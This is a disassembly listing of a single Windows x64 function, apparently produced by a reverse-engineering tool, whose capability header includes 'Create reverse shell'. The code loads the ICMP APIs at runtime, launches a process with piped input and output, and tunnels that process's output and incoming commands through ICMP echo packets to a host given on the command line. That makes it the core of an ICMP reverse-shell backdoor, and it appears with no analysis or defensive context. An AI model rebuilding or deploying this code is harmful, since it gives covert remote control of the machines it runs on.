Function at 0x140001180
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Link many functions at runtime
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov esi, ecx
mov dword [rsp + 0x50], 0xbb8
xor ecx, ecx
mov dword [rsp + 0x58], 0xc8
mov qword [rsp + 0x78], rcx
mov r13d, ecx
mov qword [rbp - 0x70], rcx
mov r12d, ecx
lea rcx, str.ws2_32.dll
mov dword [rsp + 0x54], 0xa
mov r15, rdx
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001215
lea rdx, str.inet_addr
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005640], rax
test rax, rax
je 0x140001829
lea rcx, str.iphlpapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001266
lea rdx, str.IcmpCreateFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.IcmpSendEcho
mov rcx, rbx
mov qword [0x140005648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140005648], r12
mov qword [0x140005638], rax
je 0x140001266
test rax, rax
jne 0x1400012c3
lea rcx, str.ICMP.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001815
lea rdx, str.IcmpCreateFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.IcmpSendEcho
mov rcx, rbx
mov qword [0x140005648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140005648], r12
mov qword [0x140005638], rax
je 0x140001815
test rax, rax
je 0x140001815
mov qword [rsp + 0x180], rdi
cmp esi, 1
jle 0x140001804
mov ebx, 2
lea rdi, [r15 + 0x10]
lea rdx, [0x140000000]
mov rax, qword [rdi - 8]
mov r14d, ebx
cmp byte [rax], 0x2d
jne 0x140001355
movsx eax, byte [rax + 1]
add eax, 0xffffff9e
cmp eax, 0x12
ja case.0x14000130c.99
cdqe
mov ecx, dword [rdx + rax*4 + 0x1844]
add rcx, rdx
jmp rcx
cmp ebx, esi
jge 0x140001360
mov r13, qword [rdi]
inc ebx
add rdi, 8
jmp 0x1400012e4
cmp ebx, esi
jge 0x140001355
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atol]
inc ebx
mov dword [rsp + 0x58], eax
add rdi, 8
jmp 0x1400012dd
cmp ebx, esi
jge 0x140001355
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atol]
inc ebx
mov dword [rsp + 0x50], eax
add rdi, 8
jmp 0x1400012dd
mov r12d, 1
inc ebx
add rdi, 8
cmp r14d, esi
jl 0x1400012e4
test r13, r13
je 0x140001804
mov rcx, r13
call qword [0x140005640]
mov qword [rsp + 0x68], rax
cmp r12d, 1
je 0x140001579
xor eax, eax
mov qword [rbp - 0x68], 0x18
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
xorps xmm1, xmm1
mov qword [rbp - 0x40], rax
xor ebx, ebx
mov qword [rbp - 0x58], 1
xor r9d, r9d
mov qword [rbp - 0x60], rbx
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x78]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x50], xmm1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140001475
lea r12d, [rbx + 2]
jmp 0x140001579
cmp ebx, esi
jge 0x140001355
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atol]
inc ebx
mov dword [rsp + 0x54], eax
add rdi, 8
jmp 0x1400012dd
cmp ebx, esi
jge 0x140001355
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atol]
inc ebx
mov dword [rsp + 0x60], eax
add rdi, 8
jmp 0x1400012dd
mov rcx, qword [r15]
call fcn.1400010d0
xor eax, eax
jmp 0x140001444
mov rax, qword [r15 + 8]
lea rcx, str.unrec0gnized_option___c_n
movsx edx, byte [rax]
call fcn.140001010
mov rcx, qword [r15]
call fcn.1400010d0
mov rax, 0xffffffffffffffff
mov rdi, qword [rsp + 0x180]
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.1400018a0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x140001494
lea r12d, [rax + 2]
jmp 0x140001579
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1400014b6
lea r12d, [rax + 2]
jmp 0x140001579
mov rcx, qword [rbp - 0x70]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x1400014d4
lea r12d, [rax + 2]
jmp 0x140001579
xor eax, eax
mov dword [rbp - 0x30], 0x68
mov qword [rbp + 0x14], rax
lea rdx, [0x1400032d0]
mov dword [rbp + 0x1c], eax
xorps xmm0, xmm0
mov rax, qword [rbp - 0x80]
xor r9d, r9d
mov qword [rbp + 0x30], rax
xor r8d, r8d
mov qword [rbp + 0x28], rax
xor ecx, ecx
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x20], rax
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
psrldq xmm0, 8
movd eax, xmm0
bts eax, 8
mov dword [rbp + 0xc], eax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001562
lea r12d, [rax + 2]
jmp 0x140001579
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12d, ebx
call qword [0x140005648]
mov qword [rbp - 0x80], rax
cmp rax, 0xffffffffffffffff
jne 0x1400015a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.unable_to_cr3ate_ICMP_file:__u_n
call fcn.140001010
jmp 0x14000143d
mov r13d, dword [rsp + 0x60]
mov r14, 0xffffffffffffffff
mov ecx, r13d
mov edi, r13d
add rcx, 0x30
cmovb rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, r13d
mov qword [rsp + 0x60], rax
add rcx, 0x30
mov rbx, rax
cmovb rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rbx, rbx
je 0x1400017f0
test rax, rax
je 0x1400017f0
lea rsi, [r13 + 0x30]
xor edx, edx
mov r8, rsi
mov qword [rbp - 0x78], rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r8, rsi
xor edx, edx
mov rcx, r15
call sub.VCRUNTIME140.dll_memset
mov ecx, r12d
lea rbx, str.Error:_PeekNamedP1pe_fa1led_w1th__i_n
xor esi, esi
sub ecx, 1
je 0x140001635
cmp ecx, 1
jne 0x140001741
lea rax, str.Pr0cess_was_n0t_created_n
jmp 0x14000163c
lea rax, str.TestAIUEO_n
movsxd r8, eax
mov edx, 4
mov rcx, r15
call fcn.140001070
mov dword [rbp + 0x40], eax
mov ebx, eax
mov rcx, rdi
add rcx, 0x30
cmovb rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001714
mov eax, dword [rsp + 0x50]
mov r9d, ebx
mov edx, dword [rsp + 0x68]
mov r8, r15
mov rcx, qword [rbp - 0x80]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 0
call qword [0x140005638]
test eax, eax
jle 0x14000170b
movzx ebx, word [rdi + 0xc]
mov rsi, qword [rsp + 0x60]
cmp ebx, r13d
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
cmova ebx, r13d
movsxd r8, ebx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r12d, r12d
jne 0x1400016ef
mov rcx, qword [rbp - 0x70]
lea r9, [rbp + 0x44]
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x50]
xor esi, esi
mov ebx, dword [rsp + 0x54]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x54], ebx
jmp 0x14000171e
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ebx, dword [rsp + 0x54]
inc esi
mov eax, dword [rsp + 0x58]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test r12d, r12d
jne 0x1400017e9
cmp esi, ebx
jge 0x1400017dd
mov rdi, r13
lea rbx, str.Error:_PeekNamedP1pe_fa1led_w1th__i_n
mov rcx, qword [rsp + 0x78]
xor eax, eax
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov dword [rbp + 0x40], eax
xor r8d, r8d
lea rax, [rbp + 0x40]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1400017bf
mov ebx, dword [rbp + 0x40]
test ebx, ebx
je 0x140001651
mov rcx, qword [rsp + 0x78]
lea r9, [rbp + 0x40]
xor eax, eax
mov r8d, r13d
mov rdx, r15
mov dword [rbp + 0x40], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 0x44], eax
test eax, eax
jne 0x1400017a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1400017b1
mov ebx, dword [rbp + 0x40]
jmp 0x140001651
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
jmp 0x14000163f
call qword [sym.imp.KERNEL32.dll_GetLastError]
movsxd r8, ebx
mov edx, 4
mov r9d, eax
mov rcx, r15
call fcn.140001070
jmp 0x14000164c
mov rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x140001444
lea rcx, str.failed_to_all0cate_memory_for_transfer_buffers_n
call fcn.140001010
mov eax, r14d
jmp 0x140001444
lea rcx, str.y0u_need_to_specify_a_host_with__t._Try__h_for_more_options_n
call fcn.140001010
jmp 0x14000143d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_to_load_functions___u_
call fcn.140001010
lea rcx, str.failed_to_l0ad_ICMP_library_n
call fcn.140001010
mov rax, 0xffffffffffffffff
jmp 0x14000144c